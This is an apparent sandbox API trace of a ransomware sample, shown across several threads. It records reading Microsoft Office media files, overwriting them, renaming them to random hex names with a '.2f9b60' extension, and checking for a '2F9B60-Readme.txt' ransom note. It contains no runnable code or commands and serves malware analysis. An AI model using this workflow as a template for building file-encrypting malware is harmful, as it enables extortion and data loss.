[0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x65c0caaa [0134.206] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x22fea6fd [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x50ca67de [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x4f5ba34f [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x5960edb2 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x443147fe [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x6e1ca5aa [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x30673542 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x7d3c10f6 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x7b8696c9 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x5fadb921 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x11897c5d [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x7a3b7214 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x26ed3068 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x168f046e [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x388f4040 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x53bb6cb2 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x37061b9e [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x8771b6e [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x3fe7f535 [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x154d558b [0134.207] RtlRandomEx (in: Seed=0x2575fa10 | out: Seed=0x2575fa10) returned 0x52c41c61 [0134.219] ReadFile (in: hFile=0x1bdc, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x15ea, lpNumberOfBytesRead=0x2575fa10, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2575fa10*=0x15ea, lpOverlapped=0x0) returned 1 [0134.224] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.224] WriteFile (in: hFile=0x1bdc, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x15ea, lpNumberOfBytesWritten=0x2575fa14, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2575fa14*=0x15ea, lpOverlapped=0x0) returned 1 [0134.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0134.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267410) returned 1 [0134.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0134.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0134.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20267410 [0134.231] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.231] WriteFile (in: hFile=0x1bdc, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2575fb30, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2575fb30*=0x10a, lpOverlapped=0x0) returned 1 [0134.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0134.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0134.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0134.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0134.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0134.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0134.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0134.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0134.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0134.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f970 [0134.257] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="2d") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="c6") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="7c") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="22") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="06") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="1a") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="89") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="b5") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="54") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="ac") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="28") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="08") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="c2") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="f5") returned 2 [0134.257] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="af") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="97") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="e2") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="e5") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="1e") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="87") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="92") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="38") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f99c, _Format="%c%c" | out: _Dest="98") returned 2 [0134.258] sprintf (in: _Dest=0x1cd9f99e, _Format="%c%c" | out: _Dest="7a") returned 2 [0134.258] RtlInitAnsiString (in: DestinationString=0x2575fba8, SourceString="2dc67c22061a89b554ac2808c2f5af97e2e51e879238987a" | out: DestinationString="2dc67c22061a89b554ac2808c2f5af97e2e51e879238987a") [0134.258] RtlAnsiStringToUnicodeString (in: DestinationString=0x2575fb78, SourceString="2dc67c22061a89b554ac2808c2f5af97e2e51e879238987a", AllocateDestinationString=1 | out: DestinationString="2dc67c22061a89b554ac2808c2f5af97e2e51e879238987a") returned 0x0 [0134.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9940 [0134.259] wcscat (in: _Dest=0x20508bd0, _Source="2dc67c22061a" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2dc67c22061a") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2dc67c22061a" [0134.259] wcscat (in: _Dest=0x20508bd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2dc67c22061a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2dc67c22061a.2f9b60" [0134.259] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2dc67c22061a.2f9b60", NtPathName=0x2575fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2dc67c22061a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0134.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad4a0 [0146.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad4a0) returned 1 [0146.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0146.844] NtQueryInformationFile (in: FileHandle=0x1bdc, IoStatusBlock=0x2575fbb8, FileInformation=0x2575fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2575fbb8, FileInformation=0x2575fbc8) returned 0x0 [0146.844] NtSetInformationFile (FileHandle=0x1bdc, IoStatusBlock=0x2575fbb8, FileInformation=0x2575fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508bd0) returned 1 [0147.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9940) returned 1 [0147.010] FlushFileBuffers (hFile=0x1bdc) returned 1 [0147.065] CloseHandle (hObject=0x1bdc) returned 1 [0147.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a7d0 [0147.069] wcscpy (in: _Dest=0x1b86a7d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.069] wcscat (in: _Dest=0x1b86a7d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a7d0) returned 1 [0147.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a740) returned 1 Thread: id = 1753 os_tid = 0x176c [0132.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf")) returned 0x20 [0132.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF", dwFileAttributes=0x20) returned 1 [0133.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bf4 [0134.300] GetFileSizeEx (in: hFile=0x1bf4, lpFileSize=0x25e3fd40 | out: lpFileSize=0x25e3fd40*=2066) returned 1 [0134.300] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x80e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.300] ReadFile (in: hFile=0x1bf4, lpBuffer=0x25e3fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25e3fd08, lpOverlapped=0x0 | out: lpBuffer=0x25e3fcc0*, lpNumberOfBytesRead=0x25e3fd08*=0x4, lpOverlapped=0x0) returned 1 [0134.321] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0134.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0134.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0134.322] NtQuerySystemTime (in: CurrentTime=0x25e3fc00 | out: CurrentTime=0x25e3fc00*=132462177395650000) returned 0x0 [0134.322] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x33aaaeef [0134.322] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x961e1f1 [0134.322] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x1ac6ee74 [0134.322] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x4e5f2220 [0134.322] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x79c5489b [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x36d5fed2 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x26a88749 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0xde0e189 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x4a2389ac [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x498051a1 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x16d5c723 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x42759664 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x299bf78d [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x14285e8e [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x1862a485 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x559c1b9c [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x964b831 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x4e4fd843 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x87a940 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x79642ce5 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x38106a56 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x17009fe3 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x722a27 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x22d161e1 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x1cd25b34 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0xf932e8b [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x2f3b9928 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x6a251232 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x30837ae3 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x7be68e44 [0134.323] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0x2696d49a [0134.324] RtlRandomEx (in: Seed=0x25e3fbf0 | out: Seed=0x25e3fbf0) returned 0xb992225 [0134.336] ReadFile (in: hFile=0x1bf4, lpBuffer=0x41caa520, nNumberOfBytesToRead=0x812, lpNumberOfBytesRead=0x25e3fbf0, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesRead=0x25e3fbf0*=0x812, lpOverlapped=0x0) returned 1 [0134.336] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.336] WriteFile (in: hFile=0x1bf4, lpBuffer=0x41cae130*, nNumberOfBytesToWrite=0x812, lpNumberOfBytesWritten=0x25e3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesWritten=0x25e3fbf4*=0x812, lpOverlapped=0x0) returned 1 [0134.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0134.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0134.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0134.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cae130) returned 1 [0134.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0134.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202672f0 [0134.349] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.349] WriteFile (in: hFile=0x1bf4, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25e3fd10, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x25e3fd10*=0x10a, lpOverlapped=0x0) returned 1 [0134.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0134.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0134.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0134.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0134.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0134.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0134.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0134.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0134.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fa70 [0134.358] sprintf (in: _Dest=0x1cd9fa70, _Format="%c%c" | out: _Dest="45") returned 2 [0134.358] sprintf (in: _Dest=0x1cd9fa72, _Format="%c%c" | out: _Dest="7b") returned 2 [0134.358] sprintf (in: _Dest=0x1cd9fa74, _Format="%c%c" | out: _Dest="e2") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa76, _Format="%c%c" | out: _Dest="fa") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa78, _Format="%c%c" | out: _Dest="f2") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa7a, _Format="%c%c" | out: _Dest="f4") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa7c, _Format="%c%c" | out: _Dest="eb") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa7e, _Format="%c%c" | out: _Dest="69") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa80, _Format="%c%c" | out: _Dest="92") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa82, _Format="%c%c" | out: _Dest="f9") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa84, _Format="%c%c" | out: _Dest="03") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa86, _Format="%c%c" | out: _Dest="1e") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa88, _Format="%c%c" | out: _Dest="2a") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa8a, _Format="%c%c" | out: _Dest="b6") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa8c, _Format="%c%c" | out: _Dest="29") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa8e, _Format="%c%c" | out: _Dest="a3") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa90, _Format="%c%c" | out: _Dest="c1") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa92, _Format="%c%c" | out: _Dest="ff") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa94, _Format="%c%c" | out: _Dest="1e") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa96, _Format="%c%c" | out: _Dest="8e") returned 2 [0134.359] sprintf (in: _Dest=0x1cd9fa98, _Format="%c%c" | out: _Dest="35") returned 2 [0134.360] sprintf (in: _Dest=0x1cd9fa9a, _Format="%c%c" | out: _Dest="14") returned 2 [0134.360] sprintf (in: _Dest=0x1cd9fa9c, _Format="%c%c" | out: _Dest="35") returned 2 [0134.360] sprintf (in: _Dest=0x1cd9fa9e, _Format="%c%c" | out: _Dest="5a") returned 2 [0134.360] RtlInitAnsiString (in: DestinationString=0x25e3fd88, SourceString="457be2faf2f4eb6992f9031e2ab629a3c1ff1e8e3514355a" | out: DestinationString="457be2faf2f4eb6992f9031e2ab629a3c1ff1e8e3514355a") [0134.360] RtlAnsiStringToUnicodeString (in: DestinationString=0x25e3fd58, SourceString="457be2faf2f4eb6992f9031e2ab629a3c1ff1e8e3514355a", AllocateDestinationString=1 | out: DestinationString="457be2faf2f4eb6992f9031e2ab629a3c1ff1e8e3514355a") returned 0x0 [0134.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9550 [0134.360] wcscat (in: _Dest=0x20508d10, _Source="457be2faf2f4" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\457be2faf2f4") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\457be2faf2f4" [0134.360] wcscat (in: _Dest=0x20508d10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\457be2faf2f4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\457be2faf2f4.2f9b60" [0134.360] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\457be2faf2f4.2f9b60", NtPathName=0x25e3fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\457be2faf2f4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0134.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad760 [0141.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad760) returned 1 [0141.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0141.100] NtQueryInformationFile (in: FileHandle=0x1bf4, IoStatusBlock=0x25e3fd98, FileInformation=0x25e3fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25e3fd98, FileInformation=0x25e3fda8) returned 0x0 [0141.100] NtSetInformationFile (FileHandle=0x1bf4, IoStatusBlock=0x25e3fd98, FileInformation=0x25e3fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508d10) returned 1 [0143.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9550) returned 1 [0143.951] FlushFileBuffers (hFile=0x1bf4) returned 1 [0143.952] CloseHandle (hObject=0x1bf4) returned 1 [0143.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae5c0 [0143.954] wcscpy (in: _Dest=0x202ae5c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0143.954] wcscat (in: _Dest=0x202ae5c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0143.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0143.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae5c0) returned 1 [0143.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a860) returned 1 Thread: id = 1754 os_tid = 0x1770 [0132.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif")) returned 0x20 [0132.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF", dwFileAttributes=0x20) returned 1 [0133.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c7c [0134.991] GetFileSizeEx (in: hFile=0x1c7c, lpFileSize=0x266df9c0 | out: lpFileSize=0x266df9c0*=10725) returned 1 [0134.991] SetFilePointerEx (in: hFile=0x1c7c, liDistanceToMove=0x29e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.991] ReadFile (in: hFile=0x1c7c, lpBuffer=0x266df940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x266df988, lpOverlapped=0x0 | out: lpBuffer=0x266df940*, lpNumberOfBytesRead=0x266df988*=0x4, lpOverlapped=0x0) returned 1 [0135.002] SetFilePointerEx (in: hFile=0x1c7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0135.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0135.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 